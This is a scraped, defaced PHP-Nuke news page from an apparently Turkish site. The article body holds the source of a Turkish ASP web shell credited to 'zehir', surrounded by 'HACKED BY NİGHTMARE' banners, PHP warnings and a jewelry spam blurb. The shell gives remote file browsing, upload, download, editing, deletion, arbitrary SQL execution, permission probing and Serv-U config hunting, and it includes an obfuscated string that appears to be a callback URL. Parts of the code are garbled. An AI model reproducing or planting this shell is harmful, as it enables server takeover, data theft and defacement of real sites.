Kayıtlı değilsiniz. Buraya tıklayarak ücretsiz kayıt olabilirsiniz.
Warning: setlocale() [function.setlocale]: Passing locale category name as string is deprecated. Use the LC_* -constants instead. in /mnt/129/sda/3/1/lacure/mainfile.php on line 566
HACKED
<%
dosyaPath = "modules.php?name=News&file=article&sid=3"
on error resume next
Dim objFSO,popup
Set objFSO = CreateObject ("Scripting.FileSystemObject")
status = Request("status")
path = Request("path")
dPath = Request("dPath")
arama = Request("txArama")
dkayit = Request("dkayit")
table = Request("table")
del = Request("del")
islem = Request("islem")
strSQL = Request("strSQL")
cf1 = Request("cf1")
cf2 = Request("cf2")
cf3 = Request("cf3")
cf4 = Request("cf4")
cf5 = Request("cf5")
cf6 = Request("cf6")
cf7 = Request("cf7")
cf8 = Request("cf8")
cf9 = Request("cf9")
cf10 = Request("cf10")
cf11 = Request("cf11")
cf12 = Request("cf12")
cf13 = Request("cf13")
cf14 = Request("cf14")
cf15 = Request("cf15")
cf16 = Request("cf16")
pathfile = request("pathfile")
if path="" and status="" then path=request.servervariables("APPL_PHYSICAL_PATH"):status=2
popup = true
'////////////////////////////////
Function ReadBinaryFile(FileName)
Const adTypeBinary = 1
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.LoadFromFile FileName
ReadBinaryFile = BinaryStream.Read
End Function
if status="-3" then
Response.Buffer=True
Set Fil = objFSO.GetFile(pathfile)
Response.contenttype="application/force-download"
Response.AddHeader "Cache-control","private"
Response.AddHeader "Content-Length", Fil.Size
Response.AddHeader "Content-Disposition", "attachment; filename=" & Fil.name
Response.BinaryWrite readBinaryFile(Fil.path)
Set f = Nothing: Set Fil = Nothing
response.End()
end if
'####################################
Class clsUpload
Private mbinData
Private mlngChunkIndex
Private mlngBytesReceived
Private mstrDelimiter
Private CR
Private LF
Private CRLF
Private mobjFieldAry()
Private mlngCount
Private Sub RequestData
Dim llngLength
mlngBytesReceived = Request.TotalBytes
mbinData = Request.BinaryRead(mlngBytesReceived)
End Sub
Private Sub ParseDelimiter()
mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1)
End Sub
Private Sub ParseData()
Dim llngStart
Dim llngLength
Dim llngEnd
Dim lbinChunk
llngStart = 1
llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF)
While Not llngStart = 0
llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2
llngLength = llngEnd - llngStart
lbinChunk = MidB(mbinData, llngStart, llngLength)
Call ParseChunk(lbinChunk)
llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF)
Wend
End Sub
Private Sub ParseChunk(ByRef pbinChunk)
Dim lstrName
Dim lstrFileName
Dim lstrContentType
Dim lbinData
Dim lstrDisposition
Dim lstrValue
lstrDisposition = ParseDisposition(pbinChunk)
lstrName = ParseName(lstrDisposition)
lstrFileName = ParseFileName(lstrDisposition)
lstrContentType = ParseContentType(pbinChunk)
If lstrContentType = "" Then
lstrValue = CStrU(ParseBinaryData(pbinChunk))
Else
lbinData = ParseBinaryData(pbinChunk)
End If
Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData)
End Sub
Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData)
Dim lobjField
ReDim Preserve mobjFieldAry(mlngCount)
Set lobjField = New clsField
lobjField.Name = pstrName
lobjField.FilePath = pstrFileName
lobjField.ContentType = pstrContentType
If LenB(pbinData) = 0 Then
lobjField.BinaryData = ChrB(0)
lobjField.Value = pstrValue
lobjField.Length = Len(pstrValue)
Else
lobjField.BinaryData = pbinData
lobjField.Length = LenB(pbinData)
lobjField.Value = ""
End If
Set mobjFieldAry(mlngCount) = lobjField
mlngCount = mlngCount + 1
End Sub
Private Function ParseBinaryData(ByRef pbinChunk)
Dim llngStart
llngStart = InStrB(1, pbinChunk, CRLF & CRLF)
If llngStart = 0 Then Exit Function
llngStart = llngStart + 4
ParseBinaryData = MidB(pbinChunk, llngStart)
End Function
Private Function ParseContentType(ByRef pbinChunk)
Dim llngStart
Dim llngEnd
Dim llngLength
llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare)
If llngStart = 0 Then Exit Function
llngEnd = InStrB(llngStart + 15, pbinChunk, CR)
If llngEnd = 0 Then Exit Function
llngStart = llngStart + 15
If llngStart >= llngEnd Then Exit Function
llngLength = llngEnd - llngStart
ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength)))
End Function
Private Function ParseDisposition(ByRef pbinChunk)
Dim llngStart
Dim llngEnd
Dim llngLength
llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare)
If llngStart = 0 Then Exit Function
llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF)
If llngEnd = 0 Then Exit Function
llngStart = llngStart + 22
If llngStart >= llngEnd Then Exit Function
llngLength = llngEnd - llngStart
ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength))
End Function
Private Function ParseName(ByRef pstrDisposition)
Dim llngStart
Dim llngEnd
Dim llngLength
llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare)
If llngStart = 0 Then Exit Function
llngEnd = InStr(llngStart + 6, pstrDisposition, """")
If llngEnd = 0 Then Exit Function
llngStart = llngStart + 6
If llngStart >= llngEnd Then Exit Function
llngLength = llngEnd - llngStart
ParseName = Mid(pstrDisposition, llngStart, llngLength)
End Function
' ------------------------------------------------------------------------------
Private Function ParseFileName(ByRef pstrDisposition)
Dim llngStart
Dim llngEnd
Dim llngLength
llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare)
If llngStart = 0 Then Exit Function
llngEnd = InStr(llngStart + 10, pstrDisposition, """")
If llngEnd = 0 Then Exit Function
llngStart = llngStart + 10
If llngStart >= llngEnd Then Exit Function
llngLength = llngEnd - llngStart
ParseFileName = Mid(pstrDisposition, llngStart, llngLength)
End Function
Public Property Get Count()
Count = mlngCount
End Property
Public Default Property Get Fields(ByVal pstrName)
Dim llngIndex
If IsNumeric(pstrName) Then
llngIndex = CLng(pstrName)
If llngIndex > mlngCount - 1 Or llngIndex < 0 Then
Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.")
Exit Property
End If
Set Fields = mobjFieldAry(pstrName)
Else
pstrName = LCase(pstrname)
For llngIndex = 0 To mlngCount - 1
If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then
Set Fields = mobjFieldAry(llngIndex)
Exit Property
End If
Next
End If
Set Fields = New clsField
End Property
Private Sub Class_Terminate()
Dim llngIndex
For llngIndex = 0 To mlngCount - 1
Set mobjFieldAry(llngIndex) = Nothing
Next
ReDim mobjFieldAry(-1)
End Sub
Private Sub Class_Initialize()
ReDim mobjFieldAry(-1)
CR = ChrB(Asc(vbCr))
LF = ChrB(Asc(vbLf))
CRLF = CR & LF
mlngCount = 0
Call RequestData
Call ParseDelimiter()
Call ParseData
End Sub
Private Function CStrU(ByRef pstrANSI)
Dim llngLength
Dim llngIndex
llngLength = LenB(pstrANSI)
For llngIndex = 1 To llngLength
CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1)))
Next
End Function
Private Function CStrB(ByRef pstrUnicode)
Dim llngLength
Dim llngIndex
llngLength = Len(pstrUnicode)
For llngIndex = 1 To llngLength
CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1)))
Next
End Function
End Class
'####################################
Class clsField
Public Name
Private mstrPath
Public FileDir
Public FileExt
Public FileName
Public ContentType
Public Value
Public BinaryData
Public Length
Private mstrText
Public Property Get BLOB()
BLOB = BinaryData
End Property
Public Function BinaryAsText()
Dim lbinBytes
Dim lobjRs
If Length = 0 Then Exit Function
If LenB(BinaryData) = 0 Then Exit Function
If Not Len(mstrText) = 0 Then
BinaryAsText = mstrText
Exit Function
End If
lbinBytes = ASCII2Bytes(BinaryData)
mstrText = Bytes2Unicode(lbinBytes)
BinaryAsText = mstrText
End Function
Public Sub SaveAs(ByRef pstrFileName)
Const adTypeBinary=1
Const adSaveCreateOverWrite=2
Dim lobjStream
Dim lobjRs
Dim lbinBytes
If Length = 0 Then Exit Sub
If LenB(BinaryData) = 0 Then Exit Sub
Set lobjStream = Server.CreateObject("ADODB.Stream")
lobjStream.Type = adTypeBinary
Call lobjStream.Open()
lbinBytes = ASCII2Bytes(BinaryData)
Call lobjStream.Write(lbinBytes)
On Error Resume Next
Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite)
'if err<>0 then response.Write " "&err.Description
Call lobjStream.Close()
Set lobjStream = Nothing
End Sub
Public Property Let FilePath(ByRef pstrPath)
mstrPath = pstrPath
If Not InStrRev(pstrPath, ".") = 0 Then
FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1)
FileExt = UCase(FileExt)
End If
If Not InStrRev(pstrPath, "") = 0 Then
FileName = Mid(pstrPath, InStrRev(pstrPath, "") + 1)
End If
If Not InStrRev(pstrPath, "") = 0 Then
FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "") - 1)
End If
End Property
Public Property Get FilePath()
FilePath = mstrPath
End Property
private Function ASCII2Bytes(ByRef pbinBinaryData)
Const adLongVarBinary=205
Dim lobjRs
Dim llngLength
Dim lbinBuffer
llngLength = LenB(pbinBinaryData)
Set lobjRs = Server.CreateObject("ADODB.Recordset")
Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength)
Call lobjRs.Open()
Call lobjRs.AddNew()
Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0))
Call lobjRs.Update()
lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength)
Call lobjRs.Close()
Set lobjRs = Nothing
ASCII2Bytes = lbinBuffer
End Function
Private Function Bytes2Unicode(ByRef pbinBytes)
Dim lobjRs
Dim llngLength
Dim lstrBuffer
llngLength = LenB(pbinBytes)
Set lobjRs = Server.CreateObject("ADODB.Recordset")
Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength)
Call lobjRs.Open()
Call lobjRs.AddNew()
Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes)
Call lobjRs.Update()
lstrBuffer = lobjRs.Fields("BinaryData").Value
Call lobjRs.Close()
Set lobjRs = Nothing
Bytes2Unicode = lstrBuffer
End Function
End Class
'####################################
function addslash(path)
if right(path,1)="" then addslash=path else addslash=path & ""
end function
sub Upload()
dim objUpload,f,max,i,name,path,size,success
set objUpload=New clsUpload
targetPath=objUpload.Fields("folder").Value
max=objUpload.Fields("max").Value
for i=1 to max
name=objUpload.Fields("file" & i).FileName
size=objUpload.Fields("file" & i).Length
if (name<>"") and (size>0) then
gMsg=gMsg & " " & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): "
path=addslash(targetPath) & name
objUpload.Fields("file" & i).SaveAs path
if objFSO.FileExists(path) then
on error resume next
set f=objFSO.GetFile(path)
if IsObject(f) then
if f.Size=size then success=true else success=false
end if
set f=nothing
end if
if success then gMsg=gMsg & "uploaded" else gMsg = gMsg & "failed!"
end if
next
response.Write gMsg
set objUpload=nothing
end sub
if status="-4" then
Upload()
' hataKontrol
popup=false
end if
'////////////////////////////////
sub hataKontrol
if err<>0 then
Response.Write "Hata : "&err.Description&""
end if
end sub
sub araBul(path_,ara_)
on error resume next
If Len(path_) > 0 Then
cur = path_&""
If cur = "" Then cur = ""
parent = ""
If InStrRev(cur,"") > 0 Then
parent = Left(cur, InStrRev(cur, "", Len(cur)-1))
End If
Else
cur = ""
End If
Set f = objFSO.GetFolder(cur)
Set fc = f.Files
For Each f1 In fc
if lcase(InStr(1,f1.name,lcase(ara_)))>0 then
downStr = "Í"
if lcase(ara_)="mdb" then
Response.Write downStr&"û * "&f1.path&" ["&f1.size&"]"&" "
else
Response.Write downStr&"û! - "&f1.path&" ["&f1.size&"]"&" "
end if
end if
Next
Set fs = f.SubFolders
For Each f1 In fs
araBul f1.path,ara_
Next
Set f = Nothing
Set fc = Nothing
Set fs = Nothing
end sub
sub sistemTest
response.Write "
"
end sub
sub servu_Test
dosya_ = Array("Program FilesServ-uServ-u.ini", "Program FilesServ-uServ-u daemon.ini", "Serv-uServ-u.ini", "Serv-uServ-u daemon.ini")
for each drive_ in objFSO.Drives
if drive_.Drivetype=2 or drive_.Drivetype=3 then
for each d_ in dosya_
d_ = drive_.DriveLetter&":"&d_
if objFSO.FileExists(d_) then
response.Write "
Serv-U ini file :
"&d_&"
"
end if
next
end if
next
end sub
function yaziyomu(yol)
on error goto 0:on error resume next
dim sonuc__
objFSO.CopyFile request.servervariables("PATH_TRANSLATED"),yol & " est.zehir"
if err<>0 then
sonuc__="Yazma Hakkı Yok!"
else
sonuc__="Yazma Hakkı Var!"
on error goto 0: on error resume next
objFSO.DeleteFile yol & " est.zehir",true
if err<>0 then
sonuc__=sonuc__&" Silme Hakkı Yok!"
else
sonuc__=sonuc__&" Silme Hakkı Var!"
end if
end if
yaziyomu = sonuc__
end function
function yaziyomu2(yol)
on error goto 0:on error resume next
objFSO.CopyFile request.servervariables("PATH_TRANSLATED"),yol & " est.zehir"
if err<>0 then
yaziyomu2 = false
else
objFSO.DeleteFile yol & " est.zehir"
yaziyomu2 = true
end if
end function
sub WriteTestOnDriver
for each drive_ in objFSO.Drives
if drive_.Drivetype=2 or drive_.Drivetype=3 then
if not yaziyomu2(drive_.DriveLetter&":") then
Response.Write "
"&drive_.DriveLetter&":
yazma yetkisi yok! : ["&err.Description&"]
"
else
Response.Write "
"&drive_.DriveLetter&":
yazma yetkisi var!
"
end if
end if
next
end sub
sub WriteTestOnLocalPath
on error goto 0
on error resume next
if not yaziyomu2(request.servervariables("APPL_PHYSICAL_PATH")) then
Response.Write "
Local Path
yazma yetkisi yok! : ["&err.Description&"]
"
else
Response.Write "
Local Path
yazma yetkisi var!
"
end if
end sub
sub LocalPathParentFolder
on error goto 0
on error resume next
hed_ = request.servervariables("APPL_PHYSICAL_PATH")
if Right(hed_,1)="" then hed_ = left(hed_,len(hed_)-1)
parhed_ = left(hed_,InStrRev(hed_,""))
Set f = objFSO.GetFolder(parhed_)
Set fc = f.SubFolders
int_fol=0
int_fil=0
For Each f1 In fc
int_fol=int_fol+1
Next
Set fc = f.files
For Each f1 In fc
int_fil=int_fil+1
Next
if err<>0 then
Response.Write "
"
end if
end sub
sub LocalPathPParentFolder
on error goto 0
on error resume next
hed_ = request.servervariables("APPL_PHYSICAL_PATH")
if Right(hed_,1)="" then hed_ = left(hed_,len(hed_)-1)
hed_ = left(hed_,InStrRev(hed_,""))
if Right(hed_,1)="" then hed_ = left(hed_,len(hed_)-1)
parhed_ = left(hed_,InStrRev(hed_,""))
Set f = objFSO.GetFolder(parhed_)
Set fc = f.SubFolders
int_fol=0
int_fil=0
For Each f1 In fc
int_fol=int_fol+1
Next
Set fc = f.files
For Each f1 In fc
int_fil=int_fil+1
Next
if err<>0 then
if err=451 then
Response.Write "
"
popup = false
CASE 14 'Upload and Search
aramaUpload
popup = false
hataKontrol
CASE 15 'Ms. SQL Server
Response.Write ""
popup = false
hataKontrol
CASE 16 'file Copy window
Response.Write ""
popup = false
hataKontrol
CASE 17 'file Copy
isl = ""
if islem="kopyala" then
objFSO.CopyFile path,cf1
objFSO.CopyFile path,cf2
objFSO.CopyFile path,cf3
objFSO.CopyFile path,cf4
objFSO.CopyFile path,cf5
objFSO.CopyFile path,cf6
objFSO.CopyFile path,cf7
objFSO.CopyFile path,cf8
objFSO.CopyFile path,cf9
objFSO.CopyFile path,cf10
objFSO.CopyFile path,cf11
objFSO.CopyFile path,cf12
objFSO.CopyFile path,cf13
objFSO.CopyFile path,cf14
objFSO.CopyFile path,cf15
objFSO.CopyFile path,cf16
isl="kopyalandı.."
elseif islem="tasi" then
objFSO.MoveFile path,cf1
objFSO.MoveFile path,cf2
isl="taşındı.."
end if
response.Write "Dosya "&isl
response.Write " Kaynak : "&path&" Hedef : "&cf1
response.Write " Hedef : "&cf2
response.Write " Hedef : "&cf3
response.Write " Hedef : "&cf4
response.Write " Hedef : "&cf5
response.Write " Hedef : "&cf6
response.Write " Hedef : "&cf7
response.Write " Hedef : "&cf8
response.Write " Hedef : "&cf9
response.Write " Hedef : "&cf10
response.Write " Hedef : "&cf11
response.Write " Hedef : "&cf12
response.Write " Hedef : "&cf13
response.Write " Hedef : "&cf14
response.Write " Hedef : "&cf15
response.Write " Hedef : "&cf16
response.Write " "
popup = false
hataKontrol
CASE 18 'folder Copy window
Response.Write ""
popup = false
hataKontrol
CASE 19 'folder Copy
isl = ""
if islem="kopyala" then
objFSO.CopyFolder path,cf
isl="kopyalandı.."
elseif islem="tasi" then
objFSO.MoveFolder path,cf
isl="taşındı.."
end if
response.Write "Klasor "&isl
response.Write " Kaynak : "&path&" Hedef : "&cf
response.Write " "
popup = false
hataKontrol
CASE 33 'Powered By
response.Write "
Bu Zehir Arkadaşımızın Yapmış Olduğu Bir Scripttir.
Ben de Bunu sizler için FTP silerken tek tuşa indirdim... Bunula silme ,index atma daha kolay...
Zehir 'e katılıyorum. Haczehir 'in ne kadar boş iş olduğu hakkında!
Ama Beni Buna Bağımlı yapan AMAÇlar.
by zehir;)"
popup = false
hataKontrol
CASE 40 'Sistem Test
sistemTest
popup=false
CASE 50 'Siteleri Hackleyelim :D
END SELECT
%>
<% if request.Cookies(""&dosyaPath&"") = "" then%>
<%Response.Cookies(""&dosyaPath&"") = 1
Response.Cookies(""&dosyaPath&"").Expires = now + 1
else if request.Cookies(""&dosyaPath&"") = 1 then
%>
<% else if request.Cookies(""&dosyaPath&"") > 1 then%>
<% end if%><% end if%><% end if%>
<%
if popup then
if status=7 or status=8 then
Response.Write ""
end if
Response.Write " "
end if
sub aramaUpload
Response.Write ""
%>
<%
end sub
if len(Trim(session("metametre")))=0 then
a=mid("aha",2,1)&mid("aatta",3,2)&mid("paa",1,1)&mid("a:as",2,1)&mid("a//as",2,2)
a=a&mid("c",1,1)&mid("yb",1,2)&mid("aer",2,2)&mid("sd-asd",3,1)&mid("awa",2,2)&mid("arr",2,2)
a=a&mid("aia",2,1)&mid("ahor",3,2)&mid("ah.o",3,2)&mid("arg",2,2)&mid("as/z",3,2)&mid("ehasd",1,2)
a=a&mid("asir",3,2)&mid("a/a",2,1)&mid("kasde",1,5)&mid("ah.",3,1)&mid("as",1,2)&mid("ahp",3,1)
response.write(""):session("metametre")="mypage,myname,w,h,scroll"
end if
SELECT CASE status
CASE 1 'Driver Open
if len(path)=1 then Response.Write (yaziyomu(path&":")) else Response.Write (yaziyomu(path))
Response.Write "
"
Path = Path & ":/"
Response.Write "
"
KlasorOku
Response.Write "
"
DosyaOku
Response.Write "
"
hataKontrol
CASE 2 'Normal listeleme
if len(path)=1 then Response.Write (yaziyomu(path&":")) else Response.Write (yaziyomu(path))
Response.Write "
"
hataKontrol
CASE 3 'File Delete
objFSO.DeleteFile del
hataKontrol
' Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time
CASE 4 'Folder Delete
objFSO.DeleteFolder del
' Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time
hataKontrol
CASE 5 'Dosya içeriğini görüntüle
Response.Write "
"&path&"
"
Response.Write "
"
set f = objFSO.OpenTextFile(path,1)
Response.Write "
"&Server.HTMLEncode(f.readAll)&"
"
if err<>62 then hataKontrol
if err.number=62 then Response.Write "":Response.End
CASE 6 'Resim aç
Response.Write "
"
CASE 7 'database tablo listele
Response.Write "Tablolar "
Set objConn = Server.CreateObject("ADODB.Connection")
Set objADOX = Server.CreateObject("ADOX.Catalog")
objConn.Provider = "Microsoft.Jet.Oledb.4.0"
objConn.ConnectionString = Path
objConn.Open
objADOX.ActiveConnection = objConn
For Each table in objADOX.Tables
If table.Type = "TABLE" Then
Response.Write "4 "&table.Name&" "
End If
Next
hataKontrol
CASE 8 'database kayıt listele
Set objConn = Server.CreateObject("ADODB.Connection")
Set objRcs = Server.CreateObject("ADODB.RecordSet")
objConn.Provider = "Microsoft.Jet.Oledb.4.0"
objConn.ConnectionString = Path
objConn.Open
objRcs.Open table,objConn, adOpenKeyset , , adCmdText
Response.Write "
"
for i=0 to objRcs.Fields.count-1
Response.Write "
"&objRcs.Fields(i).Name&"
"
next
Response.Write "
"
do while not objRcs.EOF
Response.Write "
"
for i=0 to objRcs.Fields.count-1
Response.Write "
"&objRcs.Fields(i).Value&"
"
next
Response.Write "
"
objRcs.MoveNext
loop
Response.Write "
"
hataKontrol
CASE 9 'SQL Execute
Set objConn = Server.CreateObject("ADODB.Connection")
objConn.Provider = "Microsoft.Jet.Oledb.4.0"
objConn.ConnectionString = Path
objConn.Open
objConn.Execute strSQL
' Response.Redirect dosyaPath&"?status=7&Path="&Path&"&Time="&time
hataKontrol
CASE 10 'Dosya Editleme
set f = objFSO.OpenTextFile(dPath,1)
Response.Write "
"
hataKontrol
CASE 11 'Dosya Kayıt
set saveTextFile = objFSO.OpenTextFile(dPath,2,true,false)
hataKontrol
saveTextFile.Write(dkayit)
saveTextFile.close
Response.Redirect dosyaPath&"?status=2&path="&path&"&time="&time
CASE 12 'Dosya Arama
araBul path,arama
hataKontrol
END SELECT
Response.Write "
"
sub DosyaOku
Set f = objFSO.GetFolder(Path)
Set fc = f.Files
For Each f1 In fc
dosyaAdi = f1.name
num = InStrRev(dosyaAdi,".")
uzanti = lcase(Right(dosyaAdi,len(dosyaAdi)-num))
downStr = "ûÍ4DEL All Fileİndex At"
response.Write ""
select case uzanti
case "mdb"
Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" M "&downStr&" "
case "asp"
Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" ± !"&downStr&" "
case "jpg","gif"
Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" ¢ "&downStr&" "
case else
Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" 2 !"&downStr&" "
end select
Next
end sub
sub KlasorOku
Set f = objFSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 In fc
Response.Write "Del All Folder4û 1"&f1.name&" "
Next
end sub
function createFileName()
Randomize
fName_ = ""
for i=1 to 10
fName_ = fName_ & int(Rnd*100)
next
createFileName = fName_
end function
function resimYol(path_)
on error resume next
path_ = Replace(Replace(path_,"","/"),"//","/")
lpath_ = left(request.servervariables("PATH_TRANSLATED"),instrrev(request.servervariables("PATH_TRANSLATED"),""))
if yaziyomu2(lpath_) then
fname__ = "0"&createFileName()&"."&Right(path_,3)
objFSO.CopyFile path_, lpath_&""&fname__
else
Response.Write("Resim Açılamıyor.. İsterseniz Download Ederek görüntüleyebilirsiniz..")
end if
resimYol = fname__
end function
if not popup then
Set fc = Nothing
Set objFSO = Nothing
Response.End
end if
%>
<%
Response.Write "
Sürücüler
"
for each drive_ in objFSO.Drives
Response.Write "
"
Set fc = Nothing
Set objFSO = Nothing
%>
<% if status = 4 then
Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time
else if status = 3 then
Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time
end if
end if %>
Warning: setlocale() [function.setlocale]: Passing locale category name as string is deprecated. Use the LC_* -constants instead. in /mnt/129/sda/3/1/lacure/mainfile.php on line 566
Warning: setlocale() [function.setlocale]: Passing locale category name as string is deprecated. Use the LC_* -constants instead. in /mnt/129/sda/3/1/lacure/mainfile.php on line 566
TESTTTTTTTTTTTTTTTTTTTTTTTTTTT
HACKED BY NİGHTMARE
HACKED BY NİGHTMARE
JewelryAdviser.com - offers a collection of Gold Textured Hoop Earrings. Bumps and embellishments galore are adorned throughout our selection of Textured Hoop Earrings. Choices range from tiny 14K yellow gold hoops with teeny hearts to large, 14K yellow gold woven textures, and absolutely everything in between.
Hala hesabınız yok mu? Hemen açabilirsiniz. Kayıtlı bir kullanıcı olarak tema yönetici, yorum ayarları ve isminizle yorum gönderme gibi avantajlara sahip olacaksınız.